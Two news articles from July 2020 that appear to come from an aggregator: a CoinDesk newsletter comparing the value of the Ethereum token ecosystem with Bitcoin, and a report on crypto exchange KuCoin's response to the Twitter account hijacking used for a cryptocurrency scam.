Take a look at the market capitalization of ether, the native token of the Ethereum blockchain. Currently, the value stands at about $26 billion. But that figure doesnt include all of the digital assets built atop the Ethereum blockchain, including some of this years hottest tokens:stablecoinslike tether and USDC and altcoins likeCrypto.coms CRO, Chainlinks LINK, CompoundsCOMPand KybersKNC.

Youre readingFirst Mover, CoinDesks daily markets newsletter. Assembled by the CoinDesk Markets Team, First Mover starts your day with the most up-to-date sentiment around crypto markets, which of course never close, putting in context every wild swing in bitcoin and more. We follow the money so you dont have to. You cansubscribe here.

The combined value of those ERC-20-standard tokens is alsoaround $26 billion, according to the data provider Messari. That puts the market capitalization of the Ethereum ecosystem at more than $50 billion closer to bitcoins $170 billion than if ether were considered alone.

The comparison shows how the rapid pace of development this year on Ethereum has brought the blockchains ecosystem closer to challenging Bitcoin. The value gap narrowed overthe past month as bitcoins price stagnated,while demand for stablecoins and a flurry of activity in decentralized finance, known as DeFi, has ignited the value of Ethereum and the tokens that depend on it.

DeFi tokens continue their bull run, cryptocurrency analysis firm TradeBlock wrote Monday in aweekly commentary.

Messari, a digital-asset data firm, said in a report thatthe Ethereum blockchains daily settlement value recently surged to about $2.5 billion, surpassing Bitcoins for the first time since at least early 2019.

Ethereum has blown past Bitcoin, Ryan Watkins, a Messari analyst, wrote in the post on Monday. With the increasing amount of economic activity taking place on Ethereum, this trend is unlikely to reverse anytime soon, if ever.

Its the latest chapter in the competition among projects to attain critical mass in the cryptocurrency industry. For entrepreneurs and investors in the space, the goal is to establish networks and projects with enough name recognition, credibility and functionality to scale quickly if and when mass adoption comes.Bitcoin, the oldest and largest cryptocurrency, attracted most of the hype early in 2020 as some analysts predicted a once-every-four-years event known as the blockchains halving could send prices to $90,000. Bitcoin got another bluster of endorsements as the spreading coronavirus slammed the global economy, sending traditional markets plunging and prompting the Federal Reserve and other big central banks to createtrillions of dollars of freshmoney.

Many investors predicted that the money injections would debase the dollars purchasing power, driving up theprice of bitcoin. Yet over the past couple months, bitcoins price has stagnated below $10,000, and even its notoriousvolatility has withered prompting fickle crypto traders to seek faster-moving action.

Bitcoin has been stuck in a tight trading range for weeks, boring for a market that used to be known for itsthrills. However, there are signs Tuesday that an expected big move may be building.

Still, Ethers price is up 81% in 2020 to $237, almost three times bitcoins 30% year-to-date gain.

Steve Ehrlich, CEO of publicly traded cryptocurrency brokerage firm Voyager Digital, says bitcoin has accounted for about 15%oftrading volumes so far in July, down from about 60% prior to the May halving.

Weve seen a tremendous change in our retail customerbehaviors, Ehrlich said Monday in a phone interview. Whenbitcoin is extremely flat in the marketplace, people are looking at other tokens.

In terms of name recognition and popularity outside of the crypto industry, Bitcoin still dominates. According to a report last week from the trading platform eToro and data provider The TIE, only four stories about DeFiappeared in June in non-crypto news sources, versus some 200 about bitcoin.

There is a growing realization though that the 2020 DeFi hype may be overdone, Mati Greenspan, founder of the cryptocurrency and foreign-exchange analysis firmQuantum Economics, wrote Monday in an e-mail to subscribers.

Denis Vinokourov, head of research at the London-based cryptocurrency prime brokerBequant, said that ethereum risks becoming a victim of its own success, activity inthe tokens built atop the blockchain are driving up transaction fees.

This resurgence in the network performance has come with a raft of undesired consequences, Vinokourov wrote in emailed remarks.

And Jimmy Song, a well-known bitcoin developer and promoter, told the website CoinMarketCap in aninterview published last weekthat he thinks many DeFi projects will fail to live up to their decentralized billing because they almost always have to have some sort of back doorin case something goes wrong.

Its really just a form of gambling with limited upside for people that arent in control of the protocol, Song said.

For now, though, the Ethereum ecosystem is edging closer.

Jack Tan, of Taiwan-based quantitative firm Kronos Research, told CoinDesks Daniel Cawrey that he seesether hitting $500 by the end of this year. That would more than double ethers market capitalization, to say nothing of any potential increases in the value of ERC-20 tokens.

Ethereum the platform has done its job, the cryptocurrency investment firm Arca wrote Monday in a weeklyblog post.

Traders are apparently doing their jobs too following the action.

Tweet of the day

Bitcoin watch

BTC: Price: $9,347 (BPI) | 24-Hr High: $9,363 | 24-Hr Low: $9,152

Trend:Bitcoin is showing signs of life on Tuesday with prices trading above $9,340 at press time, representing a 1.9% gain on the day. Notably, the cryptocurrency hasnt witnessed an over 1% move since July 9.

The 4-hour chart shows the cryptocurrency has broken higher from the four-week-long narrowing price range. The breakout is backed by an above-50 or bullish reading on the relative strength index. Meanwhile, the MACD histogram is printing higher bars above the zero line, a sign the upward move may gather pace.

The immediate resistance at $9,480 a lower high created on July 9 could be put to test over the next few hours.

Acceptance above that level would confirm a Bollinger band (volatility indicator) breakout on the daily chart and may yield a rally to $10,000.

The bias would turn bearish if the cryptocurrency finds acceptance under $9,000. However, sellers have failed multiple times in the last two months to establish a foothold below that psychological support.

The leader in blockchain news, CoinDesk is a media outlet that strives for the highest journalistic standards and abides by a strict set of editorial policies. CoinDesk is an independent operating subsidiary of Digital Currency Group, which invests in cryptocurrencies and blockchain startups.

See the rest here:

First Mover: Bitcoin Shows Signs of Life But Ether (And Crew) Steal the Limelight - CoinDesk - CoinDesk

A leading cryptocurrency exchange has voiced its concerns after hackers took over its Twitter account along with more than 100 others belonging to some of the worlds most influential people and companies.

KuCoin, which since being founded in 2017 has grown to become one of the worlds most popular crypto exchange services with five million users, lost control of its official Twitter account during the cyberattack this week.

For a company that depends on providing high levels of security to its users, the breach at Twitter was of particular concern.

A spokesman for the company, Jing Cheung, told The National: We are actually quite shocked at whats happening at Twitter.

As a crypto exchange, security is our top priority, he said.

We have implemented plenty of security mechanisms to protect account security. Thats why its hard to imagine such a hack could happen to Twitter.

The cyberattack is the biggest to have hit Twitter in its history.

Hackers are believed to have accessed Twitters internal systems to compromise the accounts of some of the platform's top voices, including US presidential candidate Joe Biden, reality TV star Kim Kardashian, former US president Barack Obama and billionaire entrepreneur Elon Musk, and use them to solicit digital currency.

The high-profile accounts that were hacked also included rapper Kanye West, Amazon founder Jeff Bezos, investor Warren Buffett, Microsoft co-founder Bill Gates and the corporate accounts for Uber and Apple.

In its latest statement, Twitter said the hackers were able to gain control to a "small subset" of the targeted accounts and send tweets from them.

The FBI is leading an inquiry into the incident, with several US politicians also calling for an explanation of how it happened.

The investigative agency said that cyber attackers committed cryptocurrency fraud in the incident.

Freely available blockchain records show the apparent scammers received more than $100,000 (Dh367,000) worth of cryptocurrency.

KuCoin said it was working closely with Twitter to investigate the hacking which, it added, was handling the matter carefully and transparently.

The company said it was looking into using a new, decentralised social media channel using the same blockchain technology that protects cryptocurrency transactions to provide greater security.

Updated: July 17, 2020 08:54 PM

Read more here:

Cryptocurrency firm KuCoin 'shocked' by Twitter hacking - The National